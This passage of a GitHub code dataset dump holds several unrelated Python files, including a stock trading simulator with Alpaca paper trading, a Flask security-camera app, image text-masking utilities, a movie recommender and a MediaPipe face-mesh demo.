IPython\nimport alpaca_trade_api as tradeapi\n\n\nclass StockSimulator:\n \"\"\"Stock simulator class for simulating stock trades and calculating profit/loss.\"\"\"\n\n def __init__(self, initial_investment, real_trading=False):\n \"\"\"Initializes the stock simulator.\n\n Args:\n initial_investment: The initial investment amount.\n real_trading: Whether to use real trading or simulated trading.\n \"\"\"\n self.stock_data = {}\n self.trades = []\n self.balance = initial_investment\n self.holdings = {}\n self.initial_investment = initial_investment\n self.real_trading = real_trading\n if self.real_trading:\n # Init Alpaca API\n with open(\"/Users/michael/Desktop/wip/alpaca_credentials.txt\", \"r\") as f:\n ALPACA_API_KEY = f.readline().strip()\n ALPACA_API_SECRET = f.readline().strip()\n BASE_URL = \"https://paper-api.alpaca.markets\" # Use the paper trading endpoint for testing\n self.alpaca = tradeapi.REST(\n ALPACA_API_KEY, ALPACA_API_SECRET, BASE_URL, api_version=\"v2\"\n )\n\n def is_trading_day(self, ticker, date):\n \"\"\"Returns True if the stock market is open on the given date.\"\"\"\n date_obj = datetime.datetime.strptime(date, \"%Y-%m-%d\").date()\n stock = yf.Ticker(ticker)\n stock_df = stock.history(\n start=date_obj, end=date_obj + datetime.timedelta(days=1)\n )\n return not stock_df.empty\n\n def find_next_trading_day(self, ticker, start_date):\n \"\"\"Returns the next trading day for the given ticker and start date.\"\"\"\n current_date = datetime.datetime.strptime(start_date, \"%Y-%m-%d\").date()\n while not self.is_trading_day(ticker, current_date.strftime(\"%Y-%m-%d\")):\n current_date += datetime.timedelta(days=1)\n return current_date.strftime(\"%Y-%m-%d\")\n\n def get_stock_data(self, ticker, start_date, end_date):\n \"\"\"Gets the stock data for the given ticker and date range.\"\"\"\n stock = yf.Ticker(ticker)\n stock_df = stock.history(start=start_date, end=end_date)\n self.stock_data[ticker] = stock_df\n\n def get_price_at_time(self, ticker: str, date: str) -> float:\n \"\"\"Returns the price of the given ticker at the given date.\"\"\"\n if self.real_trading:\n # Use Alpaca API for real trading\n latest_trade = self.alpaca.get_latest_trade(ticker)\n return latest_trade.p\n else:\n # Use the original method for simulated trading\n return self.stock_data[ticker].loc[date].Close\n\n def _calculate_target_shares(\n self, ticker, date, stocks_dict, total_portfolio_value\n ):\n \"\"\"Calculates the target shares for the given ticker.\"\"\"\n percentage = stocks_dict[ticker]\n target_value = total_portfolio_value * (percentage / 100)\n current_price = self.get_price_at_time(ticker, date)\n current_value = current_price * self.holdings.get(ticker, 0)\n target_shares = target_value / current_price\n return target_shares, current_value, current_price, target_value\n\n def _execute_trade(\n self, action, ticker, date, shares, current_price, transaction_cost\n ):\n \"\"\"Executes a trade.\n\n Args:\n action: The action to take. Must be \"buy\" or \"sell\".\n ticker: The ticker of the stock to trade.\n date: The date of the trade.\n shares: The number of shares to trade.\n current_price: The current price of the stock.\n transaction_cost: The transaction cost of the trade.\n \"\"\"\n if action not in [\"buy\", \"sell\"]:\n raise ValueError(\"Invalid action. Must be 'buy' or 'sell'.\")\n\n shares = int(shares)\n trade_value = current_price * shares\n cost = trade_value * transaction_cost\n\n if self.real_trading:\n try:\n order = self.alpaca.submit_order(\n symbol=ticker,\n qty=shares,\n side=action,\n type=\"market\",\n time_in_force=\"gtc\",\n )\n print(f\"{action.capitalize()} {shares} shares of {ticker}.\")\n except Exception as e:\n print(f\"Error {action}ing {shares} shares of {ticker}: {e}\")\n return\n\n # Get order status\n order_status = self.alpaca.get_order(order.id).status\n\n if order_status == \"accepted\":\n # Update holdings, balance, and trades for real trading\n if action == \"buy\":\n if self.balance - trade_value - cost >= 0:\n self.balance -= trade_value + cost\n elif action == \"sell\":\n if self.holdings.get(ticker, 0) >= shares:\n self.balance += trade_value - cost\n\n self.trades.append(\n {\n \"ticker\": ticker,\n \"date\": date,\n \"shares\": shares if action == \"buy\" else -shares,\n \"price\": current_price,\n \"trade_value\": trade_value if action == \"buy\" else -trade_value,\n \"action\": action,\n \"cost\": cost,\n }\n )\n self.holdings[ticker] = self.holdings.get(ticker, 0) + (\n shares if action == \"buy\" else -shares\n )\n\n else:\n # Simulated trading logic\n if action == \"buy\":\n max_shares_to_buy = int(\n (self.balance / (1 + transaction_cost)) / current_price\n )\n if max_shares_to_buy < shares:\n shares = max_shares_to_buy\n\n if (\n self.balance - (shares * current_price) * (1 + transaction_cost)\n >= 0\n ):\n self.balance -= (shares * current_price) * (1 + transaction_cost)\n else:\n print(\n f\"Not enough cash to buy {shares} shares of {ticker} at {current_price} on {date}.\"\n )\n return\n elif action == \"sell\":\n if self.holdings.get(ticker, 0) >= shares:\n self.balance += trade_value - cost\n else:\n print(f\"Not enough shares of {ticker} to sell {shares} on {date}.\")\n return\n\n self.trades.append(\n {\n \"ticker\": ticker,\n \"date\": date,\n \"shares\": shares if action == \"buy\" else -shares,\n \"price\": current_price,\n \"trade_value\": trade_value if action == \"buy\" else -trade_value,\n \"action\": action,\n \"cost\": cost,\n }\n )\n self.holdings[ticker] = self.holdings.get(ticker, 0) + (\n shares if action == \"buy\" else -shares\n )\n\n def update_holdings(\n self, stocks_dict, date, initial_investment=100000, transaction_cost=0.0001\n ):\n \"\"\"Updates the holdings based on the given stocks_dict and date.\n\n Args:\n stocks_dict (dict): A dictionary of stocks and their percentages.\n date (str): The date to update the holdings.\n initial_investment (int, optional): The initial investment. Defaults to 100000.\n transaction_cost (float, optional): The transaction cost as a percentage. Defaults to 0.0001.\n \"\"\"\n # Get stock data\n if not self.real_trading:\n end_date = utils.add_one_month(date)\n for ticker in stocks_dict.keys():\n self.get_stock_data(ticker, start_date=date, end_date=end_date)\n\n # Calculate the total portfolio value\n total_portfolio_value = 0\n for ticker, _ in stocks_dict.items():\n if ticker in self.holdings:\n try:\n current_price = self.get_price_at_time(ticker, date)\n total_portfolio_value += current_price * self.holdings[ticker]\n except ValueError:\n print(f\"Ticker {ticker} not found. Skipping...\")\n continue\n\n # If total_portfolio_value is 0, use the initial_investment value\n if total_portfolio_value == 0:\n total_portfolio_value = initial_investment\n else:\n total_portfolio_value += self.balance\n\n # Update holdings based on the percentage of the total portfolio\n print(f\"Updating holdings on {date}...\")\n\n # Sell first\n for ticker, _ in stocks_dict.items():\n try:\n (\n target_shares,\n current_value,\n current_price,\n target_value,\n ) = self._calculate_target_shares(\n ticker, date, stocks_dict, total_portfolio_value\n )\n if current_value > target_value:\n shares_to_sell = self.holdings.get(ticker, 0) - target_shares\n self._execute_trade(\n \"sell\",\n ticker,\n date,\n shares_to_sell,\n current_price,\n transaction_cost,\n )\n except ValueError:\n print(f\"Ticker {ticker} not found. Skipping sell...\")\n continue\n\n # Buy second\n for ticker, _ in stocks_dict.items():\n try:\n (\n target_shares,\n current_value,\n current_price,\n target_value,\n ) = self._calculate_target_shares(\n ticker, date, stocks_dict, total_portfolio_value\n )\n if current_value < target_value:\n shares_to_buy = target_shares - self.holdings.get(ticker, 0)\n self._execute_trade(\n \"buy\",\n ticker,\n date,\n shares_to_buy,\n current_price,\n transaction_cost,\n )\n except ValueError:\n print(f\"Ticker {ticker} not found. Skipping buy...\")\n continue\n\n def get_portfolio_position(self, date):\n \"\"\"Returns the portfolio position for the given date.\"\"\"\n portfolio_position = {}\n portfolio_value = 0\n\n for ticker in self.holdings:\n try:\n end_date = utils.add_one_month(date)\n self.get_stock_data(ticker, start_date=date, end_date=end_date)\n current_price = self.get_price_at_time(ticker, date)\n total_shares = self.holdings[ticker]\n position_value = total_shares * current_price\n portfolio_value += position_value\n portfolio_position[ticker] = {\n \"shares\": total_shares,\n \"price\": current_price,\n \"position_value\": position_value,\n }\n except Exception as e:\n print(f\"Error getting portfolio position for {ticker} on {date}: {e}\")\n\n portfolio_position[\"total_portfolio_value\"] = portfolio_value\n portfolio_position[\"cash_balance\"] = self.balance\n total_value = self.balance + portfolio_value\n portfolio_position[\"total_value\"] = total_value\n # Store the date in the desired format\n portfolio_position[\"date\"] = date\n return portfolio_position\n\n def reset(self):\n \"\"\"Reset the simulator's state back to the initial state.\"\"\"\n self.stock_data = {}\n self.trades = []\n self.balance = self.initial_investment\n self.holdings = {}\n","repo_name":"michaelliangau/ai","sub_path":"projects/buffet_bot/trading_simulator.py","file_name":"trading_simulator.py","file_ext":"py","file_size_in_byte":12214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"12337333808","text":"from flask import Flask\nfrom flask_login import LoginManager\nfrom libpy.database import DataBase, UserHelper, get_log_handler\nimport logging\nimport argparse\nimport signal\nfrom libpy.camera import Camera\n\napp = Flask(\"security cam\")\n#app.config['LOGIN_DISABLED'] = True\napp.config['UPLOAD_FOLDER'] = app.root_path + '/database/photos/'\napp.secret_key = 'security app'\n\nlogin_manager = LoginManager()\nlogin_manager.init_app(app)\n\nloghandler = get_log_handler(logging.DEBUG)\nlog = logging.getLogger('securitycam')\nlog.addHandler(loghandler)\n\ndb = DataBase(log)\nusers = UserHelper(db)\ncamera = None\n\nimport libpy.routes\n\ndef sig_handler(sig, frame):\n if camera:\n camera.stop_reader()\n log.info('got SIGINT, exiting')\n exit(0)\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--cert', action='store_true', help='set this if using HTTPS')\n parser.add_argument('--flask_ip', type=str, help='enter flask server ip address')\n parser.add_argument('--flask_port', type=int, help='enter flask server port')\n parser.add_argument('--arduino_port', type=str, help='enter arduino serial port')\n\n args = parser.parse_args()\n\n log.setLevel(logging.INFO)\n\n if db.open_db() == False:\n log.error('Failed to open database')\n exit(1)\n\n if args.arduino_port:\n camera = Camera(args.arduino_port, log)\n camera.find_img_index()\n if camera.start_reader(db) == False:\n log.warning(\"Can't open serial port\")\n else:\n log.info(\"Camera state reader started\")\n db.set_mutex()\n else:\n log.warning(\"Arduino serial port not defined, can't take security pictures.\")\n\n cert = None\n if args.cert:\n cert = 'adhoc'\n\n host = \"127.0.0.1\"\n if args.flask_ip:\n host = args.flask_ip\n\n port = 5000\n if args.flask_port:\n port = args.flask_port\n\n signal.signal(signal.SIGINT, sig_handler)\n app.run(host=host, port=port, debug=False, ssl_context=cert)","repo_name":"Yarviz/securitycam","sub_path":"src/security.py","file_name":"security.py","file_ext":"py","file_size_in_byte":2009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"28989504428","text":"import numpy as np\nimport cv2 as cv\nimport string\nimport math\n\nPRINTABLE_ARRAY = list(string.printable)\nrng = np.random.default_rng(seed=1)\nFONTS = (cv.FONT_HERSHEY_SIMPLEX, cv.FONT_HERSHEY_PLAIN, cv.FONT_HERSHEY_DUPLEX, cv.FONT_HERSHEY_COMPLEX, cv.FONT_HERSHEY_TRIPLEX, cv.FONT_HERSHEY_COMPLEX_SMALL, cv.FONT_ITALIC)\n\n# just for debugging this file\ndef __log_(identifier, message):\n debug=False\n if (debug == True):\n module_name = \"image_with_text_functions\"\n print(module_name+\".\"+identifier, \":\", message)\n\n\ndef put_random_text(img):\n font = FONTS[int(rng.integers(0, len(FONTS), 1))] #randomly select a font from the FONTS tuple\n topLeftCornerOfText = (int(rng.integers(0, img.shape[1], 1)), int(rng.integers(0, img.shape[0], 1))) #randomly select a place on the image\n fontScale = min(img.shape[0],img.shape[1])/(100/rng.random()) #randomly select a scale for the text\n fontColor = (255*(rng.random()**3),255*(rng.random()**3),255*(rng.random()**3)) #randomly select a color, weighted towards darker colors by cubing the random number [0,1]\n text = ''.join(rng.choice(PRINTABLE_ARRAY, size=rng.integers(1,50,1), shuffle=False)) #randomly create a string of printable characters, between 1 and 50 characters in length\n thickness = rng.integers(max(1, int(fontScale/2)),max(int(fontScale),2))\n\n cv.putText(img, text, topLeftCornerOfText, font, fontScale, fontColor, thickness, bottomLeftOrigin=False)\n\n (width, height), baseline = cv.getTextSize(text, font, fontScale, thickness)\n\n return img, topLeftCornerOfText, width, height, baseline\n\n # print()\n # print(\"font\", font)\n # print(\"text\", text)\n # print(\"fontScale\", fontScale)\n # print(\"thickness\", thickness)\n\n # cv.imshow('image',img)\n # cv.waitKey(0)\n # print(\"\\n\\n\\n\")\n\n\ndef mask_image(img, topLeftCornerOfText, width, height, baseline, useGaussianNoise=False):\n mask = np.zeros(img.shape, np.uint8)\n # mask[topLeftCornerOfText[0]:topLeftCornerOfText[0]+box_size[1], topLeftCornerOfText[1]:topLeftCornerOfText[1]+box_size[0]]= (255,255,255)\n if not useGaussianNoise:\n mask[topLeftCornerOfText[1]-height-baseline:topLeftCornerOfText[1]+baseline, topLeftCornerOfText[0]:topLeftCornerOfText[0]+width]= (255,255,255)\n masked_image = mask | img\n\n else:\n meanPixelValues = np.mean(img, axis=(0,1))\n shape = (height+2*baseline, min(width, img.shape[1]-topLeftCornerOfText[0]), 3)\n noise = rng.normal(loc=meanPixelValues, size=shape)\n \n mask[topLeftCornerOfText[1]-height-baseline:topLeftCornerOfText[1]+baseline, topLeftCornerOfText[0]:topLeftCornerOfText[0]+width] = noise\n masked_image = np.copy(img)\n masked_image[topLeftCornerOfText[1]-height-baseline:topLeftCornerOfText[1]+baseline, topLeftCornerOfText[0]:topLeftCornerOfText[0]+width] = noise\n\n return masked_image, mask\n\ndef put_text_mask_image(img, useGaussianNoise=False):\n img, topLeftCornerOfText, width, height, baseline = put_random_text(img)\n masked_image, mask = mask_image(img, topLeftCornerOfText, width, height, baseline, useGaussianNoise)\n return masked_image, mask\n\ndef generate_crops_of_text_on_image_and_pixel_mask_from_path(path, x_size, y_size, n_channels):\n\n assert n_channels == 3, \"Only n_channels == 3 supported\"\n\n imgs = []\n masks = []\n raw_img = None\n __log_(\"path\", path)\n if type(path)==type(\"\"):\n raw_img = cv.imread(path, flags=cv.IMREAD_COLOR) #TODO change this for ALPHA channel support\n # __log_(\"raw_image\", raw_img)\n else:\n print(\"path not string, but is\", type(path))\n\n if(raw_img is not None):\n text_img, mask = put_text_and_mask_image_text_pixels_only(raw_img, x_size, y_size)\n\n # cv.imshow('img',text_img)\n # cv.imshow('mask',mask)\n\n num_x_crops = math.ceil(raw_img.shape[0]/x_size)\n num_y_crops = math.ceil(raw_img.shape[1]/y_size)\n __log_(\"num crops\", num_x_crops*num_y_crops)\n\n for xi in range(num_x_crops):\n for yi in range(num_y_crops):\n mask_crop_temp = mask[xi*x_size : (xi+1)*x_size, yi*y_size : (yi+1)*y_size, :]\n appendThis = True\n if not np.any(mask_crop_temp): # then all pixels are zero\n # print(\"np.any(mask_crop_temp)\", np.any(mask_crop_temp))\n appendThis = np.random.choice(a=[False, True], p=[0.9, 0.1]) # 10% chance to include blank crop\n # print(\"appendThis\", appendThis)\n if appendThis:\n text_img_crop_temp = text_img[xi*x_size : (xi+1)*x_size, yi*y_size : (yi+1)*y_size, :] \n imgs.append(np.pad(text_img_crop_temp, ((0,x_size-text_img_crop_temp.shape[0]), (0,y_size-text_img_crop_temp.shape[1]), (0,0)), 'constant', constant_values=(0)))\n masks.append(np.pad(mask_crop_temp, ((0,x_size-mask_crop_temp.shape[0]), (0,y_size-mask_crop_temp.shape[1]), (0,0)), 'constant', constant_values=(0)))\n # cv.imshow('img_crop', imgs[-1])\n # cv.imshow('mask_crop', masks[-1])\n # cv.waitKey(0)\n\n return imgs, masks\n\ndef put_text_and_mask_image_text_pixels_only(img, local_rng=None):\n \n if local_rng is None:\n local_rng=rng\n\n #def put_random_text(img):\n font = FONTS[int(local_rng.integers(0, len(FONTS), 1))] #randomly select a font from the FONTS tuple\n topLeftCornerOfText = (int(local_rng.integers(0, img.shape[0]*0.5, 1)), int(local_rng.integers(20, img.shape[1], 1))) #randomly select a place on the image\n fontScale = 3 #(100/rng.integers(low=50, high=300)) #randomly select a scale for the text\n text = ''.join(local_rng.choice(PRINTABLE_ARRAY, size=local_rng.integers(1,50,1), shuffle=False)) #randomly create a string of printable characters, between 1 and 50 characters in length\n thickness = 3 #local_rng.integers(max(1, int(fontScale/2)),max(int(fontScale),2))\n\n cv.putText(img, text, topLeftCornerOfText, font, fontScale, (0,0,0), thickness*3, bottomLeftOrigin=False)\n fontColor = (255*(1-local_rng.random()**10),255*(1-local_rng.random()**10),255*(1-local_rng.random()**10)) #randomly select a color, weighted towards darker colors by cubing the random number [0,1] //TODO change these values to be more realistic\n cv.putText(img, text, topLeftCornerOfText, font, fontScale, fontColor, thickness, bottomLeftOrigin=False)\n\n mask = np.zeros(img.shape, np.uint8)\n cv.putText(mask, text, topLeftCornerOfText, font, fontScale, (255,255,255), (thickness*3)+2, bottomLeftOrigin=False) # put white text on black background to act as pixel mask\n\n return img, mask\n\n#generate random crop of image then put text and mask\ndef generate_text_on_image_and_pixel_mask_from_path(path, x_size, y_size, n_channels, RNGseed=None):\n local_rng = None\n if RNGseed is not None:\n local_rng = np.random.default_rng(seed=RNGseed)\n else:\n local_rng=rng\n\n assert n_channels == 3, \"Only n_channels == 3 supported\"\n\n raw_img = None\n __log_(\"path\", path)\n if type(path)==type(\"\"):\n raw_img = cv.imread(path, flags=cv.IMREAD_COLOR) #TODO change this for ALPHA channel support\n # __log_(\"raw_image\", raw_img)\n else:\n print(\"path not string, but is\", type(path))\n\n if(raw_img is not None):\n # cv.imshow('img',text_img)\n # cv.imshow('mask',mask)\n\n num_x_crops = math.ceil(raw_img.shape[0]/x_size)\n num_y_crops = math.ceil(raw_img.shape[1]/y_size)\n __log_(\"num crops\", num_x_crops*num_y_crops)\n xi = int(local_rng.integers(0, num_x_crops, size=1))\n yi = int(local_rng.integers(0, num_y_crops, size=1))\n\n raw_img_crop = raw_img[xi*x_size : (xi+1)*x_size, yi*y_size : (yi+1)*y_size, :] \n raw_img_crop = np.pad(raw_img_crop, ((0,x_size-raw_img_crop.shape[0]), (0,y_size-raw_img_crop.shape[1]), (0,0)), 'constant', constant_values=(0))\n\n #TODO make sure that the text gets placed on the image properly\n text_img, mask = put_text_and_mask_image_text_pixels_only(raw_img_crop)\n\n # remap the mask from a color image to a 2-d vector with values 0,1.\n mask = mask[:,:,0]\n mask[mask==255] = 1\n mask[mask!=1] = 0\n\n return text_img, mask\n\ndef get_random_crop(image, crop_height, crop_width):\n\n max_x = image.shape[1] - crop_width\n max_y = image.shape[0] - crop_height\n\n x = np.random.randint(0, max_x)\n y = np.random.randint(0, max_y)\n\n crop = image[y: y + crop_height, x: x + crop_width]\n\n return crop\n\n\nif __name__ == \"__main__\":\n with open(\"C:/Users/maxan/Documents/MDSAI/CS686_AI/Project/code/data_flist/train_shuffled.flist\") as training_list:\n img=None\n file_path=None\n doContinue = True\n while doContinue:\n try:\n file_path = training_list.readline().strip()\n except Exception as e:\n doContinue = False\n print(\"no lines in file\", e)\n \n img = cv.imread(file_path)\n img, topLeftCornerOfText, width, height, baseline = put_random_text(img)\n masked_image, mask = mask_image(img, topLeftCornerOfText, width, height, baseline, useGaussianNoise=False)\n cv.imshow('image',img)\n cv.imshow('masked_image',masked_image)\n cv.imshow('mask',mask)\n\n cv.waitKey(0)\n\n print(\"test generate_crops_of_text_on_image_and_pixel_mask_from_path(file_path, 256, 256, 3)\")\n imgs, masks = generate_crops_of_text_on_image_and_pixel_mask_from_path(file_path, 64, 64, 3)\n for i in range(len(imgs)):\n cv.imshow('imgs'+str(i),imgs[i])\n for i in range(len(masks)):\n cv.imshow('masks'+str(i),masks[i])\n cv.waitKey(0)\n\n\n","repo_name":"MaxNiebergall/MemeMachine","sub_path":"TextPixelMasking/image_with_text_functions.py","file_name":"image_with_text_functions.py","file_ext":"py","file_size_in_byte":9831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"20851463744","text":"import numpy as np\nimport tensorflow.compat.v1 as tf\n\nraw_data = np.random.normal(10, 1, 100)\nalpha = tf.constant(0.05)\ncurr_value = tf.placeholder(tf.float32)\nprev_avg = tf.Variable(0.)\nupdate_avg = alpha * curr_value + (1 - alpha) * prev_avg\ninit = tf.global_variables_initializer()\n\nprint(raw_data)\n\nwith tf.Session() as sess:\n sess.run(init)\n for i in range(len(raw_data)):\n curr_avg = sess.run(update_avg, feed_dict={curr_value: raw_data[i]})\n sess.run(tf.assign(prev_avg, curr_avg))\n print(raw_data[i], curr_avg)\n","repo_name":"adw0rd/Jlog","sub_path":"ml_with_tensorflow_shukla_fricklas/exp_79p.py","file_name":"exp_79p.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"1589831725","text":"import os\nfrom model import *\nfrom mysql_operation import *\nimport random\n\nseed = 1\ntorch.manual_seed(seed)\nnp.random.seed(seed)\ntorch.cuda.manual_seed_all(seed)\ntorch.backends.cudnn.deterministic = True\ntorch.backends.cudnn.benchmark = False\n\nmodel_dir = './movie_recommendation_model'\nif not os.path.exists(model_dir):\n os.makedirs(model_dir)\n\ntitle_count, title_set, genres2int, features, targets_values, ratings, users, movies, data, movies_orig, users_orig = pickle.load(open('preprocess.p', mode='rb'))\n\nembed_dim = 32\nuid_max = max(features.take(0,1)) + 1\ngender_max = max(features.take(2,1)) + 1\nage_max = max(features.take(3,1)) + 1\njob_max = max(features.take(4,1)) + 1\nmovie_id_max = max(features.take(1,1)) + 1\nmovie_categories_max = max(genres2int.values()) + 1\nmovie_title_max = len(title_set)\nsentences_size = title_count\n# print(uid_max,gender_max,age_max,job_max,movie_id_max,movie_title_max,movie_categories_max)\n\n#电影ID转下标的字典,数据集中电影ID跟下标不一致,比如第5行的数据电影ID不一定是5\nmovieid2idx = {val[0]:i for i, val in enumerate(movies.values)}\n\nmodel = MR_Model(uid_max, gender_max, age_max, job_max, movie_id_max, movie_categories_max, movie_title_max)\nmodel_dir = './movie_recommendation_model'\npt_name = model_dir + '/lr_checkpoint.pt'\nmodel.load_state_dict(torch.load(pt_name, map_location=\"cpu\"))\n\ndef rating_movie(user_id_val, movie_id_val):\n model.eval()\n categories = np.zeros([1, 18])\n categories[0] = movies.values[movieid2idx[movie_id_val]][2]\n titles = np.zeros([1, sentences_size])\n titles[0] = movies.values[movieid2idx[movie_id_val]][1]\n\n users_list = users.values\n num_line = 0\n for index in range(len(users_list)):\n if int(users_list[index][0]) == user_id_val:\n num_line = index\n break\n\n uid = np.reshape(users_list[num_line][0], [1])\n user_gender = np.reshape(users_list[num_line][1], [1])\n user_age = np.reshape(users_list[num_line][2], [1])\n user_job = np.reshape(users_list[num_line][3], [1])\n movie_id = np.reshape(movies.values[movieid2idx[movie_id_val]][0], [1])\n movie_categories = categories\n movie_titles = titles\n # print(features[0])\n # print(uid,user_gender,user_age,user_job,movie_id,movie_categories,movie_titles)\n uid, user_gender, user_age, user_job, movie_id, movie_categories, movie_titles = torch.LongTensor(uid),torch.LongTensor(user_gender)\\\n ,torch.LongTensor(user_age),torch.LongTensor(user_job),torch.LongTensor(movie_id),torch.LongTensor(movie_categories),torch.LongTensor(movie_titles)\n # print(uid.shape, user_gender.shape, user_age.shape, user_job.shape, movie_id.shape, movie_categories.shape,\n # movie_titles.shape)\n user_feature, movie_feature, rating = model(uid, user_gender, user_age, user_job, movie_id, movie_categories,\n movie_titles)\n return rating.data\n\n# print(rating_movie(2,1193))\n\ndef recommend_same_type_movie(movie_id_val, top_k = 60):\n movie_matrics = pickle.load(open('movie_matrics.p', mode='rb'))\n probs_embeddings = (movie_matrics[movieid2idx[movie_id_val]]).reshape([200, 1])\n sim = np.dot(movie_matrics, probs_embeddings)\n # print(probs.shape)\n # print(\"您看的电影是:{}\".format(movies_orig[movieid2idx[movie_id_val]]))\n # print(\"以下是给您的推荐:\")\n p = np.squeeze(sim)\n p[np.argsort(p)[:-top_k]] = 0\n p = p / np.sum(p)\n results = set()\n while len(results) != top_k//2:\n c = np.random.choice(3883, 1, p=p)[0]\n if movies_orig[c][0] != movie_id_val:\n results.add(c)\n # for val in (results):\n # print(val)\n # print(movies_orig[val])\n return results\n\n# recommend_same_type_movie(4)\n\ndef recommend_your_favorite_movie(user_id_val, top_k=60):\n history_movie = movie_info_query(user_id_val)\n user_info = user_info_query(user_id_val)\n same_type_history_movie = []\n for i in range(len(history_movie)):\n result = recommend_same_type_movie(history_movie[i][0][0])\n for x in result:\n same_type_history_movie.append(x)\n\n sim = []\n for item in movies.values:\n movies_id = item.take(0)\n rating = rating_movie(user_id_val,movie_id_val=movies_id)\n if same_type_history_movie.__contains__(item[0]):\n rating *= 5\n sim.append(rating)\n\n #print(\"UserID{} 以下是给您的推荐:\".format(user_id_val))\n p = np.squeeze(sim)\n p[np.argsort(p)[:-top_k]] = 0\n p = p / np.sum(p)\n results = set()\n while len(results) != top_k//2:\n c = np.random.choice(3883, 1, p=p)[0]\n results.add(c)\n #for val in (results):\n #print(val)\n #print(movies_orig[val])\n return results\n\n#recommend_your_favorite_movie(1)\n#recommend_your_favorite_movie(2)\n#recommend_your_favorite_movie(234)\n\n\n\n\ndef recommend_other_favorite_movie(movie_id_val, top_k=60):\n movie_matrics = pickle.load(open('movie_matrics.p', mode='rb'))\n users_matrics = pickle.load(open('user_matrics.p', mode='rb'))\n probs_movie_embeddings = (movie_matrics[movieid2idx[movie_id_val]]).reshape([200, 1])\n probs_user_favorite_similarity = np.dot(movie_matrics,probs_movie_embeddings)\n favorite_user_id = np.argsort(probs_user_favorite_similarity)[0][-top_k:]\n # print(normalized_users_matrics.eval().shape)\n # print(probs_user_favorite_similarity.eval()[0][favorite_user_id])\n # print(favorite_user_id.shape)\n\n print(\"您看的电影是:{}\".format(movies_orig[movieid2idx[movie_id_val]]))\n\n print(\"喜欢看这个电影的人是:{}\".format(users_orig[favorite_user_id - 1]))\n probs_users_embeddings = (users_matrics[favorite_user_id - 1]).reshape([200, -1])\n probs_similarity = np.dot(users_matrics,probs_users_embeddings)\n sim = (probs_similarity)\n # results = (-sim[0]).argsort()[0:top_k]\n # print(results)\n # print(sim.shape)\n # print(np.argmax(sim, 1))\n p = np.argmax(sim, 1)\n print(\"喜欢看这个电影的人还喜欢看:\")\n\n results = set()\n while len(results) != top_k//2:\n c = p[random.randrange(top_k)]\n results.add(c)\n for val in (results):\n print(val)\n print(movies_orig[val])\n\n return results\n\n# recommend_other_favorite_movie(1193)\n\n\n\n\n","repo_name":"GodXuxilie/DatabaseSystem","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":6325,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"3653134357","text":"if __name__ == '__main__':\r\n arr = []\r\n for _ in range(int(input())):\r\n name = input()\r\n score = float(input()) \r\n arr.append([score,name])\r\n arr.sort()\r\n for i in range(len(arr)):\r\n if arr[i][0]> arr[0][0]:\r\n print(arr[i][1]) \r\n if i+1 >= len(arr) or arr[i+1][0] > arr[i][0]:\r\n break ","repo_name":"var-rishabh/codePedia","sub_path":"HackerRank/Python/10-Nested-Lists/Nested-Lists.py","file_name":"Nested-Lists.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"52"} +{"seq_id":"73568836965","text":"from typing import List, Tuple\n\nimport hypothesis.strategies as st\nimport pba.analysis as an\nfrom hypothesis import given\n\nlist_sizes = {\"min_size\": 1, \"max_size\": 20}\npredictions = st.lists(st.tuples(st.booleans(), st.integers(0, 100)), **list_sizes)\ntrue_prediction = st.tuples(st.just(True), st.just(100))\nfalse_prediction = st.tuples(st.just(False), st.just(0))\nperfect_prediction = st.one_of([true_prediction, false_prediction])\nperfect_predictions = st.lists(perfect_prediction, **list_sizes)\nalmost_perfect_prediction = st.one_of([st.tuples(st.just(True), st.just(99)),\n st.tuples(st.just(False), st.just(1))])\nalmost_perfect_predictions = st.builds(lambda lst, x: lst + [x],\n perfect_predictions,\n almost_perfect_prediction)\nnum_bins = st.integers(1, 100)\n\n\n@given(credence_results=predictions, num_bins=num_bins)\ndef test_calibration_score_is_non_negative(credence_results: List[Tuple[bool, int]],\n num_bins: int):\n assert an.calibration_score(credence_results, num_bins) >= 0\n\n\n@given(credence_results=perfect_predictions, num_bins=num_bins)\ndef test_calibration_score_perfect(credence_results: List[Tuple[bool, int]],\n num_bins: int):\n assert 0.0001 > an.calibration_score(credence_results, num_bins)\n\n\n@given(credence_results=almost_perfect_predictions, num_bins=num_bins)\ndef test_calibration_score_delta(credence_results: List[Tuple[bool, int]], num_bins: int):\n assert an.calibration_score(credence_results, num_bins) < 0.011\n\n\ndef test_calibration_score_example():\n example = [(True, 100), (True, 50), (True, 0), (False, 50), (False, 70)]\n assert 0.0001 > abs(0.34 - an.calibration_score(example, num_bins=5))\n","repo_name":"davatk/predictionbook-analysis","sub_path":"tests/test_analysis.py","file_name":"test_analysis.py","file_ext":"py","file_size_in_byte":1831,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"12953411064","text":"import mediapipe as mp\nimport numpy as np\nimport cv2\n\ncap = cv2.VideoCapture(0)\n\nplot_mesh_flag = False\n\nfacmesh = mp.solutions.face_mesh\nface = facmesh.FaceMesh(static_image_mode=True,\n\tmin_tracking_confidence=0.6,\n\tmin_detection_confidence=0.6)\ndraw = mp.solutions.drawing_utils\n\nwhile True:\n\t_, frm = cap.read()\n\tfrm = cv2.flip(frm, 1)\n\trgb = cv2.cvtColor(frm, cv2.COLOR_BGR2RGB)\n\n\tif plot_mesh_flag:\n\t\top = face.process(rgb)\n\t\tif op.multi_face_landmarks:\n\t\t\tfor i in op.multi_face_landmarks:\n\t\t\t\tdraw.draw_landmarks(\n\t\t\t\t\tfrm, \n\t\t\t\t\ti, \n\t\t\t\t\tfacmesh.FACEMESH_CONTOURS, \n\t\t\t\t\tlandmark_drawing_spec=draw.DrawingSpec(circle_radius=1)\n\t\t\t\t)\n\n\tcv2.imshow(\"window\", frm)\n\n\tk 